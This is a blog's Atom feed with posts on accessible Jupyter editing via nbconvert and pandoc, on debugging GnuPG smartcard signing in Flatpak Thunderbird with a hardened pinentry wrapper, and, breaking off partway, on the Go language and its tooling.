<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://hack5.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://hack5.dev/" rel="alternate" type="text/html" /><updated>2026-02-19T01:09:48+00:00</updated><id>https://hack5.dev/feed.xml</id><title type="html">Penn’s Page</title><subtitle>Welcome to this site where I occasionally write thoughts. Any views expressed are mine alone unless explicitly marked as being co-authored.</subtitle><author><name>Penn Mackintosh</name></author><entry><title type="html">Jupyter as Markdown for screen readers</title><link href="https://hack5.dev/accessibility/jupyter/terminal/2026/02/19/accessible-jupyer.html" rel="alternate" type="text/html" title="Jupyter as Markdown for screen readers" /><published>2026-02-19T00:40:00+00:00</published><updated>2026-02-19T00:40:00+00:00</updated><id>https://hack5.dev/accessibility/jupyter/terminal/2026/02/19/accessible-jupyer</id><content type="html" xml:base="https://hack5.dev/accessibility/jupyter/terminal/2026/02/19/accessible-jupyer.html"><![CDATA[<h2 id="abstract">Abstract</h2>

<p>You can edit a Jupyter notebook as markdown without ever leaving text mode. This can work around accessibility issues or be used on non-graphical machines.</p>

<h2 id="introduction">Introduction</h2>

<p>Trying to use Orca with Jupyter is nigh on impossible. It doesn’t even let you open a file without using the mouse, and mouse routing buttons don’t seem to work for me.
The same applies to JupyterLab, and I’ve heard similar stories for them under JAWS.</p>

<p>A lot of great work was started to improve this<sup id="fnref:grant"><a href="#fn:grant" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>, but at the moment I wasn’t able to make any headway, and I couldn’t find any sign of ongoing work with a quick search.</p>

<p>Using VSCodium may be an alternative but didn’t work for me. I heard it was heavy and slow to navigate, but your mileage may vary.</p>

<p>I wanted to find a different way to use and author Jupyter notebooks with different a screen reader and keyboard navigation. This is likely to be less accessible to many people, but by introducing more options, more people will find something that suits them.</p>

<p>I found a plethora of tooling for Jupyter<sup id="fnref:awesome-jupyter"><a href="#fn:awesome-jupyter" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> which led to the discovery of <a href="https://github.com/takluyver/bookbook">Bookbook</a>, a tool that sounded cool but one-way and unmaintained. <a href="https://github.com/mwouts/jupytext">JupyText</a> is a very cool two-way converter, but it doesn’t seem to include cell outputs by default so would preclude easy access to data results. I also found <a href="https://github.com/aaren/notedown/">Notedown</a> and its de facto successor <a href="https://nbconvert.readthedocs.io/en/latest/">nbconvert</a>.</p>

<h2 id="solution">Solution</h2>

<p>This covers the end-to-end workflow of downloading and modifying a notebook from a JupyterLab instance, using nbconvert and pandoc.</p>

<ol>
  <li>Install dependencies</li>
  <li>Download all the files from the JupyterLab server</li>
  <li>Convert notebook to markdown</li>
  <li>Edit and convert back again to execute</li>
  <li>Iterate as usual</li>
</ol>

<h3 id="dependency-installation">Dependency installation</h3>

<ul>
  <li><a href="https://nbconvert.readthedocs.io/en/latest/install.html">nbconvert</a></li>
  <li><a href="https://pandoc.org/">Pandoc</a></li>
</ul>

<h3 id="downloading-notebooks">Downloading notebooks</h3>

<p>This code converts an online Jupyter notebook into a zip file that you can download. To run it, you need to launch a Python interpreter in the inaccessible web interface and paste this code, then press Shift+Enter. There will probably be no output that a screen reader can understand, but a file named “lab.zip” will appear in the “file explorer” in the web interface, which you can download by right-clicking and choosing Download.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">zipfile</span><span class="p">,</span> <span class="n">os</span>
<span class="n">zf</span> <span class="o">=</span> <span class="n">zipfile</span><span class="p">.</span><span class="nc">ZipFile</span><span class="p">(</span><span class="sh">"</span><span class="s">lab.zip</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">w</span><span class="sh">"</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="nf">chdir</span><span class="p">(</span><span class="sh">"</span><span class="s">..</span><span class="sh">"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">dp</span><span class="p">,</span> <span class="n">_</span><span class="p">,</span> <span class="n">fns</span> <span class="ow">in</span> <span class="n">os</span><span class="p">.</span><span class="nf">walk</span><span class="p">(</span><span class="sh">"</span><span class="s">.</span><span class="sh">"</span><span class="p">):</span>
  <span class="k">for</span> <span class="n">fn</span> <span class="ow">in</span> <span class="n">fns</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">fn</span> <span class="o">==</span> <span class="sh">"</span><span class="s">lab.zip</span><span class="sh">"</span><span class="p">:</span>
      <span class="k">continue</span>
    <span class="n">zf</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">dp</span><span class="p">,</span> <span class="n">fn</span><span class="p">))</span>
<span class="n">zf</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
</code></pre></div></div>

<p>Now decompress the files by double-clicking them (or using a terminal as below).</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir </span>lab
<span class="nb">cd </span>lab
unzip ../lab.zip
</code></pre></div></div>

<p>Note that if you don’t entirely trust the files, you’ll need to remove the <code class="language-plaintext highlighter-rouge">--execute</code> in the next section. If you really don’t trust them at all, don’t download them!</p>

<h3 id="converting-to-markdown">Converting to markdown</h3>

<p>The magic command is:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jupyter nbconvert <span class="nt">--execute</span> <span class="nt">--allow-errors</span> <span class="nt">--inplace</span> notebook.ipynb <span class="o">&amp;&amp;</span> pandoc <span class="nt">--extract-media</span><span class="o">=</span>images notebook.ipynb <span class="nt">-o</span> notebook.md
</code></pre></div></div>

<p>This will run the code (<code class="language-plaintext highlighter-rouge">--execute</code>) and save the readable file into notebook.md which you can edit using your favourite text editor. Images such as graphs will be saved into the images directory.</p>

<p>If you don’t entirely trust the code, remove the <code class="language-plaintext highlighter-rouge">--execute</code> flag (technically you can skip the entire first part of the pipeline but that’s harder to explain)</p>

<h3 id="converting-back-to-jupyter-format">Converting back to Jupyter format</h3>

<p>To test your code, first turn it back into a Jupyter notebook:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pandoc notebook.md <span class="nt">-o</span> notebook.ipynb
</code></pre></div></div>

<p>Then just turn it back into Markdown like before, and any errors will show up below the corresponding code (you can search “.output .error” to find them). You could also remove the –allow-errors to have the errors show up without updating the Markdown file, but I think this would be more confusing.</p>

<h2 id="limitations">Limitations</h2>

<p>The Jupyter web interfaces allow re-running individual blocks of code. I haven’t looked into this for nbconvert, but this feature can accelerate development, so finding a way to add it would be useful. One can imagine that only cells that have changed since the last run would be evaluated by default by a tool incorporating this feature.</p>

<p>The process described is quite clunky and requires considerable technical knowledge. Markdown is a fairly easy language to learn, so with the advent of less expensive multi-line Braille displays<sup id="fnref:canute"><a href="#fn:canute" class="footnote" rel="footnote" role="doc-noteref">3</a></sup> there is scope for a simple application that ties the whole workflow together into a simple editor with sensible keyboard shortcuts and search functionality.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This workflow can help with Jupyter usage for some people whose accessibility needs are not met by the existing solutions, but it’s not perfect. People who just love their machines in text-mode may prefer <a href="https://github.com/kracekumar/jut">jut</a>. People who want to commit plain-text versions of Jupyter files may fare better with <a href="https://github.com/mwouts/jupytext">Jupytext</a>.</p>

<h2 id="ps">P.S.</h2>

<p>Wondering why the writing style is so weird? Reading too many academic papers while trying to write casually at one in the morning don’t mix well.</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:grant">
      <p>See the <a href="https://jupyter-accessibility.readthedocs.io/en/latest/funding/czi-grant-roadmap.html">grant roadmap</a> <a href="#fnref:grant" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:awesome-jupyter">
      <p>Under the name <a href="https://github.com/markusschanta/awesome-jupyter">Awesome Jupyter</a> <a href="#fnref:awesome-jupyter" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:canute">
      <p>Like the <a href="https://bristolbraille.org/about-canute/">Canute 360</a> <a href="#fnref:canute" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Penn Mackintosh</name></author><category term="accessibility" /><category term="jupyter" /><category term="terminal" /><summary type="html"><![CDATA[Abstract]]></summary></entry><entry><title type="html">GnuPG in Thunderbird in Flatpak in Silverblue</title><link href="https://hack5.dev/fedora/silverblue/thunderbird/flatpak/container/gpg/linux/2025/08/13/thunderbird-yubikey-silverblue.html" rel="alternate" type="text/html" title="GnuPG in Thunderbird in Flatpak in Silverblue" /><published>2025-08-13T11:29:00+00:00</published><updated>2025-08-13T11:29:00+00:00</updated><id>https://hack5.dev/fedora/silverblue/thunderbird/flatpak/container/gpg/linux/2025/08/13/thunderbird-yubikey-silverblue</id><content type="html" xml:base="https://hack5.dev/fedora/silverblue/thunderbird/flatpak/container/gpg/linux/2025/08/13/thunderbird-yubikey-silverblue.html"><![CDATA[<p>Thunderbird’s already flaky GPG smartcard support falls down when using Flatpak.
But fear not - I managed to get it working!</p>

<h2 id="summary">Summary</h2>

<p>To get your Yubikey working on Fedora Silverblue with Thunderbird, follow these steps:</p>

<ol>
  <li>
    <p>Fix hotplug<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat &gt;&gt; ~/.gnupg/scdaemon.conf &lt;&lt;EOF
disable-ccid
pcsc-shared
EOF
$
</code></pre></div>    </div>
  </li>
  <li>
    <p>Enable <code class="language-plaintext highlighter-rouge">gpg-agent.socket</code><sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">2</a></sup>:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl --user enable --now gpg-agent.socket
</code></pre></div>    </div>
  </li>
  <li>
    <p>Grant Thunderbird access to the system gpg-agent instead of running its own agent:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flatpak override --user --socket=gpg-agent --nosocket=pcsc '--nofilesystem=~/.gnupg' net.thunderbird.Thunderbird
flatpak override --user '--filesystem=~/.gnupg:ro'
</code></pre></div>    </div>
  </li>
  <li>
    <p>Fix the session DBus<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">3</a></sup><sup id="fnref:4"><a href="#fn:4" class="footnote" rel="footnote" role="doc-noteref">4</a></sup>:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo tee /opt/pinentry.sh &lt;&lt;EOF
#!/bin/env -S --ignore-environment /bin/sh
   
# The shebang using env ensures that all (potentially malicious) environment variables are cleared
   
# Set the correct DBus session bus path - this is hardcoded because we don't trust the environment we receive if called from a sandboxed caller
export DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/$(/usr/bin/id -ru)/bus"
# Set a placeholder display, otherwise the curses fallback is sometimes used.
# In particular this makes a difference if the caller doesn't specify --display.
# This might break if you use X11, but if you are, stop, and use Wayland instead.
export DISPLAY="__stub"
   
# And finally pass everything else through
exec /usr/bin/pinentry "$@"
EOF
sudo chown root:root /opt/pinentry.sh
sudo chmod 0755 /opt/pinentry.sh
sudo chcon -t pinentry_exec_t /opt/pinentry.sh
echo "pinentry-program /opt/pinentry.sh" &gt;&gt; ~/.gnupg/gpg-agent.conf
</code></pre></div>    </div>
  </li>
  <li>
    <p>Reboot (I mean it!)</p>
  </li>
  <li>
    <p>Follow the <a href="https://wiki.mozilla.org/Thunderbird:OpenPGP:Smartcards">normal setup instructions for Thunderbird</a></p>
  </li>
</ol>

<p>Other useful steps you might want to take are found in the <a href="https://github.com/drduh/YubiKey-Guide">community guide</a>.</p>

<h2 id="thunderbird-debugging">Thunderbird debugging</h2>

<p>I started off looking at the Thunderbird error log (Ctrl+Shift+J), but it was rather unhelpful:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mailnews.send: NS_ERROR_XPC_JAVASCRIPT_ERROR_WITH_DETAILS: [JavaScript Error: "encryptMessageStart FAILED: -1" {file: "chrome://openpgp/content/modules/mimeEncrypt.sys.mjs" line: 455}]'[JavaScript Error: "encryptMessageStart FAILED: -1" {file: "chrome://openpgp/content/modules/mimeEncrypt.sys.mjs" line: 455}]' when calling method: [nsIMsgComposeSecure::finishCryptoEncapsulation]
</code></pre></div></div>

<p>Annoyingly that code was quite tricky to trace but I eventually found that it <a href="https://searchfox.org/comm-central/rev/f32ac8259c429ae1655e068a3f6bf65df5ee4361/mail/extensions/openpgp/content/modules/RNP.sys.mjs#3783">called into a library called GPGME</a>.</p>

<h2 id="gpgme-debugging">GPGME debugging</h2>

<p>Thankfully, there is pdocumentation on how to <a href="https://www.gnupg.org/documentation/manuals/gpgme/Debugging.html">debug GPGME</a>!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flatpak run --env=GPGME_DEBUG=9 net.thunderbird.Thunderbird
</code></pre></div></div>

<p>And suddenly I was able to see the actual error while trying to send signed mail!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025-08-13 11:05:34 gpgme[2.2]     gpgme_op_keylist_next:1367: error: End of file &lt;GPGME&gt;\n
2025-08-13 11:05:34 gpgme[2.2]     gpgme_release: call: ctx=0x00007f633fdfeac0 
2025-08-13 11:05:34 gpgme[2.2]     gpgme_data_release: call: dh=0x0000000000000000 
2025-08-13 11:05:34 gpgme[2.2]     gpgme_data_release: call: dh=0x00007f633e165000 
2025-08-13 11:05:34 gpgme[2.2]   gpgme_get_key:1495: error: End of file &lt;GPGME&gt;\n
</code></pre></div></div>

<p>Okay, not a super helpful error. But scrolling up a bit (a lot, these logs are super verbose), I found something more useful:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: gpg: error running '/usr/bin/gpg-agent': exit st
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: atus 2&lt;LF&gt;
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: gpg: failed to start gpg-agent '/usr/bin/gpg-age
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: nt': General error&lt;LF&gt;
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: gpg: can't connect to the gpg-agent: General err
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: or&lt;LF&gt;
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: gpg: keydb_search failed: No agent running&lt;LF&gt;
2025-08-13 11:05:34 gpgme[2.2]         _gpgme_io_read: check: gpg: error reading key: No agent running&lt;LF&gt;
</code></pre></div></div>

<h2 id="the-gpg-agent">The GPG agent</h2>

<p>So it looks like we’re struggling to connect to the GPG agent. Looking at the pid of the GPG agent from outside the flatpak sandbox, I was able to confirm this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ pidof gpg-agent
$ 
</code></pre></div></div>

<p>Initially I decided to postpone fixing this issue and just manually start a GPG agent to see if we could make any other progress, so I just started an agent manually by calling a GPG command on the host.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gpg --card-status
&lt;snip&gt;
$ pidof gpg-agent
24067
$ 
</code></pre></div></div>

<p>Great, let’s try sending another email.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025-08-13 11:08:52 gpgme[2.2]   gpgme_op_sign:522: error: pinentry error &lt;Pinentry&gt;\n
</code></pre></div></div>

<h2 id="pinentry-inside-the-container">Pinentry inside the container</h2>

<p>A new error! My first instinct here was that the sandbox was blocking us from requesting the PIN, so I decided to test it out inside the Flatpak:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ flatpak enter net.thunderbird.Thunderbird bash
bash-5.2$ pinentry
OK Pleased to meet you
GETPIN
&lt;snip&gt;
</code></pre></div></div>

<p>Unfortunately, this opened a Curses interface.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash-5.2$ pinentry --help
pinentry-curses (pinentry) 1.3.1-unknown
</code></pre></div></div>

<p>Wrong pinentry… but there’s a <code class="language-plaintext highlighter-rouge">pinentry-gnome3</code> binary installed in the Flatpak.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash-5.2$ pinentry-gnome3 --debug
No Gcr System Prompter available, falling back to curses
OK Pleased to meet you
</code></pre></div></div>

<p>It complained that there was something wrong with the connection to <a href="https://packages.fedoraproject.org/pkgs/gcr/gcr/">gcr</a>, but wouldn’t say what.</p>

<p>At this point I went down a rabbithole and compiled my own version of <code class="language-plaintext highlighter-rouge">pinentry-gnome3</code> with the fallback disabled, which showed me the actual error message.
Basically it was complaining that a session-bus DBus call was failing (although it didn’t say what).</p>

<h2 id="dbus-allowlisting">DBus allowlisting</h2>

<p>Luckily, Flatpak has <a href="https://docs.flatpak.org/en/latest/debugging.html#audit-session-or-system-bus-traffic">documentation on monitoring DBus traffic</a>. Following this, I saw the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Filtering message due to arg0 org.gnome.keyring.SystemPrompter, policy: 0 (required 1)
C4: -&gt; org.gnome.keyring.SystemPrompter call org.gnome.keyring.internal.Prompter.BeginPrompting at /org/gnome/keyring/Prompter
</code></pre></div></div>

<p>At this point, I tried granting <code class="language-plaintext highlighter-rouge">org.gnome.keyring.*</code> to the Flatpak to see if it would fix pinentry, and it did!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash-5.2$ pinentry-gnome3 --debug
OK Pleased to meet you
GETPIN
D testing
OK
^C
bash-5.2$
</code></pre></div></div>

<p>This got me excited so I tried sending an email, but I still got the <em>exact</em> same error:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gpgme_op_sign:522: error: pinentry error &lt;Pinentry&gt;\n
</code></pre></div></div>

<p>This was most discouraging as it suggested I had fixed the wrong problem, especially as there was nothing in the DBus logs.</p>

<h2 id="pinentry-logging">Pinentry logging</h2>

<p>I decided to take a new approach and try calling gpg manually inside the flatpak container. To my surprise, this worked! And what’s more, after manually signing a message (which correctly prompted for my PIN), I was able to send emails through Thunderbird!</p>

<p>This was definitely progress but after restarting Thunderbird it was broken again. I decided to try to get access to the actual error returned by pinentry in real operation.</p>

<p>I created a bash wrapper script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/sh
echo "pinentry called with:" "$@" &gt;&gt; ~/pinentry.log
tee -a ~/pinentry.in.log | pinentry --debug 2&gt;&gt;~/pinentry.err.log | tee -a ~/pinentry.out.log
</code></pre></div></div>

<p>I configured it with <code class="language-plaintext highlighter-rouge">pinentry-program</code> in <code class="language-plaintext highlighter-rouge">gpg-agent.conf</code>. At this point after failing to send an email I had full logs from the pinentry.</p>

<p>Most interesting was the stderr output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>failed to connect to user session D-Bus (1): Could not connect: No such file or directory
Timeout: the Gcr system prompter was already in use.
</code></pre></div></div>

<p>This initially surprised me as I had been able to connect to the session bus in my manual tests of pinentry.
In order to try to reproduce the issue, I decided to have my script print the entire <code class="language-plaintext highlighter-rouge">env</code> and <code class="language-plaintext highlighter-rouge">/proc/$$/status</code> into my log files.</p>

<p>I noticed that the <code class="language-plaintext highlighter-rouge">PPid</code> was one of two gpg-agent processes running on my system!</p>

<p>At this point, I wanted to ensure that there was only one gpg-agent, and I wanted it outside the sandbox so that I could use it from the console. A quick search online told me that it was <a href="https://superuser.com/a/1608985">a one-liner</a>!</p>

<p>I did this and rebooted. I also noticed in Flatseal that I could enable gpg-agent socket sharing but that this was currently disabled. I enabled this and disabled the pcsc socket to avoid conflicts.</p>

<p>At this point I was still encountering the same error but at least I knew that the <a href="https://dev.gnupg.org/T6058">pinentry was meant to be running outside the sandbox</a>, and the PPid confirmed that. However, the same error was still occurring.</p>

<p>I noticed in the logs that there was a DBus environment variable set:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DBUS_SESSION_BUS_ADDRESS=unix:path=/run/flatpak/bus
</code></pre></div></div>

<h1 id="containment-confusion">Containment confusion</h1>

<p>This was most odd: we know that pinentry is not running in Flatpak, so it definitely can’t access a Flatpak DBus proxy.</p>

<p>At this point, I was pretty sure I had my culprit. After some extensive searching I found that gpg agent clients are allowed to send certain environment variables to pinentry using <a href="https://www.gnupg.org/documentation/manuals/gnupg/Agent-OPTION.html">OPTION putenv</a>.</p>

<p>Sadly, there doesn’t seem to be a way to disable <code class="language-plaintext highlighter-rouge">putenv</code>. It sounds like a sandbox escape waiting to happen. To test my hypothesis, I grabbed my unsandboxed DBus address:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo $DBUS_SESSION_BUS_ADDRESS
unix:path=/run/user/1000/bus
$ 
</code></pre></div></div>

<p>and I entered this manually into my <code class="language-plaintext highlighter-rouge">pinentry.sh</code> wrapper. Lo and behold, I was able to send signed emails!</p>

<p>However, now that I knew about the <code class="language-plaintext highlighter-rouge">putenv</code> option, I realised that the wrapper would need some additional security measures to avoid vulnerabilities.
For example, I wanted to use <code class="language-plaintext highlighter-rouge">/run/user/$(id -ru)/bus</code> as the session bus, but calling <code class="language-plaintext highlighter-rouge">id</code> could be subject to <a href="https://attack.mitre.org/techniques/T1574/007/">PATH Interception</a>.
To avoid this, I decided to use <code class="language-plaintext highlighter-rouge">env -i</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/env -S --ignore-environment /bin/sh
</code></pre></div></div>

<p>which invokes the shell script with an entirely clean environment.</p>

<p>Update: It turns out that <code class="language-plaintext highlighter-rouge">putenv</code> only lets you edit a restricted set of environment variables. Nevertheless, clearing out the environment if we don’t need it is a good idea for Defence in Depth.</p>

<p>Finally I dumped the script in <code class="language-plaintext highlighter-rouge">/opt</code> and configured it.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/env -S --ignore-environment /bin/sh

# The shebang using env ensures that all (potentially malicious) environment variables are cleared

# Set the correct DBus session bus path - this is hardcoded because we don't trust the environment we receive if called from a sandboxed caller
export DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/$(/usr/bin/id -ru)/bus"

# And finally pass everything else through
exec /usr/bin/pinentry "$@"
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pinentry-program /opt/pinentry.sh
</code></pre></div></div>

<p>At this point, I had working emails. After some testing, it seems that this also fixed decryption for free.</p>

<p>This broke some other programs - turns out that the curses fallback is activated if <code class="language-plaintext highlighter-rouge">DISPLAY</code> is unset and <code class="language-plaintext highlighter-rouge">--display</code> is not passed.
Setting <code class="language-plaintext highlighter-rouge">DISPLAY=__stub</code> fixed this.</p>

<h2 id="alternatives">Alternatives</h2>

<p>I decided to run the GPG agent outside the sandbox. In theory, it could run inside the Flatpak (and that seems to be the design intended by the Thunderbird team), but this would come with some tradeoffs:</p>

<ul>
  <li>This means that <code class="language-plaintext highlighter-rouge">pinentry</code> would run inside the sandbox which means a compromised container could read your smartcard PIN, potentially allowing other credentials to be compromised.</li>
  <li>On the other hand, running <code class="language-plaintext highlighter-rouge">pinentry</code> outside the sandbox increases the attack surface for a sandbox escape. This is arguably mitigated by removing access to pcscd which is no longer required.</li>
  <li>Most importantly, running <code class="language-plaintext highlighter-rouge">gpg-agent</code> outside the sandbox means that <code class="language-plaintext highlighter-rouge">~/.gnupg</code> can be exposed to the sandbox in read-only mode. When this is read-write, sandbox escape is trivial as it can just edit the configuration file to make the system-wide GPG agent invoke a malicious pinentry program.</li>
</ul>

<p>I also wasn’t able to get the agent working reliably inside the sandbox, which is the main reason for running it outside.</p>

<h2 id="conclusion">Conclusion</h2>

<p>At the start of this process I knew very little about GPG’s internal workings and now I feel like I do at least understand some of the PIN entry architecture and the purpose of the agent.</p>

<p>It also reminded me of some of my Flatpak knowledge that was getting rusty. I should probably have noticed faster that the <code class="language-plaintext highlighter-rouge">pinentry</code> call was in the wrong environment when it didn’t show up in the DBus logs during email sending attempts.</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>Thanks to <a href="https://blog.apdu.fr/posts/2024/12/gnupg-and-pcsc-conflicts-episode-3/">Ludovic Rousseau for finding</a> this one. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>Thanks to <a href="https://superuser.com/a/1608985">Vladimir Panteleev’s answer</a> for saving me lots of time figuring this out. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3">
      <p>This won’t work over ssh unless you have an active graphical session, in which case you’ll get prompted in the graphical session. If you need ssh support, you’ll need to write a (secure) wrapper that chooses correctly between gcr and curses/tty prompting according to where it’s called from. If passing the tty variables through correctly the built-in curses fallback might work. Generally you probably only want to use a smartcard on a graphical session anyway (otherwise look into agent forwarding) but you might need a non-graphical pinentry for symmetric non-smartcard-backed encryption. If you do, you can always temporarily comment out the changes to <code class="language-plaintext highlighter-rouge">~/.gnupg/gpg-agent.conf</code>. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4">
      <p>Since I wrote this post, I have discovered that a <a href="https://dev.gnupg.org/T7522">new option has been added</a> to the agent, <code class="language-plaintext highlighter-rouge">change-std-env-name -DBUS_SESSION_BUS_ADDRESS</code>. At the time of this update, it hasn’t made its way into Fedora’s stable repos so isn’t helpful for me. The most recent versions Flatpak platforms also <a href="https://gitlab.com/freedesktop-sdk/freedesktop-sdk/-/issues/1767">avoid this issue</a>. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Penn Mackintosh</name></author><category term="fedora" /><category term="silverblue" /><category term="thunderbird" /><category term="flatpak" /><category term="container" /><category term="gpg" /><category term="linux" /><summary type="html"><![CDATA[Thunderbird’s already flaky GPG smartcard support falls down when using Flatpak. But fear not - I managed to get it working!]]></summary></entry><entry><title type="html">Thoughts on Golang</title><link href="https://hack5.dev/golang/languages/2025/07/20/golang.html" rel="alternate" type="text/html" title="Thoughts on Golang" /><published>2025-07-20T14:08:00+00:00</published><updated>2025-07-20T14:08:00+00:00</updated><id>https://hack5.dev/golang/languages/2025/07/20/golang</id><content type="html" xml:base="https://hack5.dev/golang/languages/2025/07/20/golang.html"><![CDATA[<p>Over the last year, I’ve had the opportunity to work a lot with Golang code.
It has certainly been an interesting experience, as I’ve never seriously used Go before.</p>

<h2 id="quick-overview">Quick overview</h2>

<p>Golang is a programming language created by Google. It’s fairly low-level and compiles to machine code, but is designed for general-purpose use and has automatic memory management.</p>

<h2 id="paradigm">Paradigm</h2>

<p>Golang <em>feels</em> like a piece of software designed with system-driven design rather than user-centred design.
The stated design goal is to keep the language simple. This has both positive and negative results.</p>

<p>Firstly, I disagree with the implied statement that a simple language is an imperative language. It’s possible to write a language that is no more complex than Golang which supports, at the very least, easy use of functional patterns mixed in with imperative code.</p>

<h2 id="tooling">Tooling</h2>

<h3 id="the-package-manager">The package manager</h3>

<p><code class="language-plaintext highlighter-rouge">go.mod</code> is great. For those who are unfamiliar with it, Golang will simply refuse to link any packages into your code unless they are listed in the <code class="language-plaintext highlighter-rouge">go.mod</code> residing in the root of your codebase. More languages should do this. Why? It prevents you accidentally introducting unwanted dependencies into your project.</p>

<p><code class="language-plaintext highlighter-rouge">go.sum</code>, meanwhile. I’m not a big fan of. It lists the checksums of all packages in the <code class="language-plaintext highlighter-rouge">go.mod</code> file.
This is great for security reasons as it provides Trust On First Use security for all your dependencies. This means that if an upstream source becomes compromised and retags a version tag to some malicious code, you’re safe.
However, it’s quite frustrating to have to run a command to update it every time you modify your dependencies. It feels like this could be done automatically, and is only this way due to system-centred design. Of course you can call <code class="language-plaintext highlighter-rouge">go get</code> but it’s slow with non-obvious syntax for getting a specific version.</p>

<p>Golang also compiles all dependencies locally. This is good although it can feel frustrating when it takes a long time to compile. But it’s worth it to avoid the likes of the <a href="https://en.wikipedia.org/wiki/XZ_Utils_backdoor">xz-utils backdoor</a>. I have no complaints here.</p>

<h3 id="containerisation">Containerisation</h3>

<p>There are various approaches to building Golang code into a container.</p>

<p>You can go with the simple approach of making a Dockerfile that calls <code class="language-plaintext highlighter-rouge">go build</code>, but then you end up needing to download the dependencies during every build process where a cache miss occurs.
Getting the Dockerfile to build quickly is rather tricky as Docker doesn’t make explicit caching sharing very easy, especially if you build multiple containers from the same source (or with common dependencies).</p>

<p>Since a Golang project contains (by definition, in the <code class="language-plaintext highlighter-rouge">go.sum</code>) a hash of every dependency, the build process is quasi-reproducible<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>. This means that we can safely bypass most of the complicated work that Docker does to protect us from external influences during build.</p>

<p>And that’s exactly what <a href="https://ko.build/">Ko</a> does. You simply declare the arguments for the compiler and it handles turning it into a Docker image, basically by running <code class="language-plaintext highlighter-rouge">go build</code> on the host machine then copying into a container. It’s a very nice tool and speeds up the build process by an order of magnitude (in my case, over 3x speedup).</p>

<h3 id="linting">Linting</h3>

